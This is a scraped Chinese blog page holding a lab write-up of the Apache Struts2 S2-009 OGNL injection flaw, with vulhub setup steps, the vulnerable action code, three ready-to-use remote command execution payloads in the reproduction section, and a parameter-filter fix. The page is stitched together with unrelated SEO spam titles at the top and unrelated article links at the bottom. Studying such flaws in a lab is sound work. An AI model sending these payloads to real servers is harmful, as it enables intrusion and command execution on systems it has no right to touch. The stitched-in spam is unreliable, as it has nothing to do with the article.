当前位置: 首页 > news >正文

北京网站seo收费标准/新疆疫情最新情况

北京网站seo收费标准,新疆疫情最新情况,医药公司网站设计,如何开发一个app建设一个网站文章目录一、漏洞原理二、环境搭建三、代码解释四、漏洞复现五、修复方法一、漏洞原理 Struts2对S2-003的修复方法是禁止静态方法调用,在s2-005中可直接通过OGNL绕过该限制,对于#号,同样使用编码\u0023或\43进行绕过;于是Struts2…

文章目录

  • 一、漏洞原理
  • 二、环境搭建
  • 三、代码解释
  • 四、漏洞复现
  • 五、修复方法


一、漏洞原理

Struts2对S2-003的修复方法是禁止静态方法调用,在s2-005中可直接通过OGNL绕过该限制,对于#号,同样使用编码\u0023或\43进行绕过;于是Struts2对s2-005的修复方法是禁止\等特殊符号,使用户不能提交反斜线。

但是,如果当前action中接受了某个参数example,这个参数将进入OGNL的上下文。所以,我们可以将OGNL表达式放在example参数中,然后使用/helloword.acton?example=<OGNL statement>&(example)('xxx')=1的方法来执行它,从而绕过官方对#、\等特殊字符的防御。

ParametersInterceptor中的正则表达式将top [‘foo’](0)作为有效的表达式匹配,OGNL将其作为(top [‘foo’])(0)处理,并将“foo”操作参数的值作为OGNL表达式求值。这使得恶意用户将任意的OGNL语句放入由操作公开的任何String变量中,并将其评估为OGNL表达式,并且由于OGNL语句在 HTTP参数中,攻击者可以使用黑名单字符(例如#)禁用方法执行并执行任意方法,绕过ParametersInterceptor和OGNL库保护。

影响版本: 
2.1.0 - 2.3.1.1

二、环境搭建

docker-compose build
docker-compose up -d
访问:ip:8080

三、代码解释

在war包中找到:WEB-INF/src/java/org/apache/struts2/showcase/ajax/Example5Action.java

public class Example5Action extends ActionSupport {private static final long serialVersionUID = 2111967621952300611L;private String name;    private Integer age;public String getName() { return name; }      //获取name参数public void setName(String name) { this.name = name; }   //调用setName将name值赋给私有属性this.namepublic Integer getAge() { return age; }public void setAge(Integer age) { this.age = age; }@Overridepublic String execute() throws Exception {return SUCCESS;}
}

WEB-INF/src/java/struts-ajax.xml查看URL路由:

<package name="ajax" extends="struts-default">...<action name="example5" class="org.apache.struts2.showcase.ajax.Example5Action"><result name="input">/ajax/tabbedpanel/example5.jsp</result><result>/ajax/tabbedpanel/example5Ok.jsp</result></action>...
</package>

name=example5,所以访问http://ip:8080/ajax/example5.action即可访问该控制器。将OGNL利用代码放在name参数里,访问该URL:


四、漏洞复现

4.1、利用一
POC:

GET /ajax/example5?age=123&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27whoami%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)]

4.2、利用二

z[%28name%29%28%27meh%27%29]&age=123&name=(#context["xwork.MethodAccessor.denyMethodExecution"]=false,#_memberAccess["allowStaticMethodAccess"]=true,#a=@java.lan g.Runtime@getRuntime().exec('whoami').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new  java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#s=@org.apache.struts2.ServletActionContext@getResponse().get Writer(),#s.println(#d),#s.close())(meh)

4.3、利用三

GET /ajax/example5age=123&name=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,%20@java.lang.Runtime@getRuntime%28%29.exec%28%27touch%20/tmp/success%27%29%29%28meh%29&z[%28name%29%28%27meh%27%29]=true 

五、修复方法

1、在 struts.xml 中配置 ParametersIntercptor 以排除恶意参数

<interceptor-ref name="params"><font></font><param name="acceptParamNames">\w+((\.\w+)|(\[\d+\])|(\['\w+'\]))*</param><font></ </interceptor-ref><font></font>

参考链接:https://github.com/vulhub/
http://www.lbrq.cn/news/1421641.html

相关文章:

  • 仙居做网站的/电商运营怎么做如何从零开始
  • 网络宣传网站建设定制/网络营销的基本职能
  • 深圳网站官网建设方案/郑州网站营销推广
  • 商城网站上做内容冲突吗/短视频培训课程
  • 网站开发要/360免费建站教程
  • 靳刘高设计公司官网/seo建站系统
  • 山楼小院在哪家网站做宣传/北京网站sem、seo
  • wordpress类似头条主题/上海企业优化
  • 最新科技新闻消息/西安seo优化推广
  • 奉化网站建设/百度关键词排名优化工具
  • 做网站的职位/小红书推广策略
  • 怎么免费自己做网站/优化营商环境工作总结
  • 中国建设部官方网站证件查询/云建站
  • 直播网站的建设/郑州互联网公司排名
  • 美女直接做的网站/学企业管理培训班
  • 网站开发的理解/杭州百度推广代理商
  • BBS推广网站的步骤/百度总部投诉电话
  • 深圳网站 建设/seo全网优化指南
  • 网站建设客户分析调查表/驻马店百度seo
  • wordpress 主题 音乐/如何做好关键词的优化
  • 漳州公司建设网站/网站设计模板
  • 乾安网站建设公司电话/域名查询备案
  • 江西网站建设哪家好/b2b网站排名
  • 北京大型网站优化/线上营销推广渠道
  • 做网站买二手域名/谷歌商店下载官方正版
  • wordpress 终极优化/进行优化
  • 淮滨网站建设公司/温州seo招聘
  • 网站的例子/网站seo规划
  • 连云港网站建设哪家好/建立一个网站需要多少钱
  • 生物技术网站开发/seo外包方案
  • illustrator插件大全 免费插件介绍 Ai设计插件集合 (3)
  • 学习游戏制作记录(制作系统与物品掉落系统)8.16
  • 电源测试系统ATECLOUD-Power,让您告别电源模块测试痛点!
  • 机械学习---- PCA 降维深度解析
  • C++第二十课:快递运费计算器 / 黑白配+石头剪刀布小游戏
  • 【测试工具】JMeter基本使用及MySQL数据库压力测试